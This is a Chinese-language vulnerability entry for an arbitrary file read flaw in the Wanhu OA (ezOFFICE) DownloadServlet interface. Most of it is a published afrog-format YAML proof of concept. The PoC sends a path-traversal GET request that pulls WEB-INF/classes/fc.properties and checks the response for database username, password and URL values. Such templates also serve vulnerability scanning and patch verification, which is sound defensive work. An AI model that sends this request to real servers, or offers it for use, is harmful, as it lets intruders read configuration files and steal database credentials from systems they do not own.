wanhu-oa-downloadservlet-file-read: 万户OA DownloadServlet 任意文件读取漏洞

日期: 2025-09-01 | 影响软件: wanhu-oa-downloadservlet-file-read万户OA DownloadServlet | POC: 已公开

漏洞描述

万户OA DownloadServlet接口存在任意文件读取漏洞，攻击者通过漏洞可以读取服务器中的敏感文件，获取敏感信息 app="万户网络-ezOFFICE"

PoC代码[已公开]

id: wanhu-oa-downloadservlet-file-read

info:
  name: 万户OA DownloadServlet 任意文件读取漏洞
  author: zan8in
  severity: high
  description: |
    万户OA DownloadServlet接口存在任意文件读取漏洞，攻击者通过漏洞可以读取服务器中的敏感文件，获取敏感信息
    app="万户网络-ezOFFICE"
  reference:
    - http://wiki.peiqi.tech/wiki/oa/%E4%B8%87%E6%88%B7OA/%E4%B8%87%E6%88%B7OA%20DownloadServlet%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.html

rules:
  r0:
    request:
      method: GET
      path: /defaultroot/DownloadServlet?modeType=0&key=x&path=..&FileName=WEB-INF/classes/fc.properties&name=x&encrypt=x&cd=&downloadAll=2 
    expression: response.status == 200 && response.body.bcontains(b'ccerp.user')&& response.body.bcontains(b'ccerp.password') && response.body.bcontains(b'ccerp.url')
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/wanhu-oa-downloadservlet-file-read.yaml

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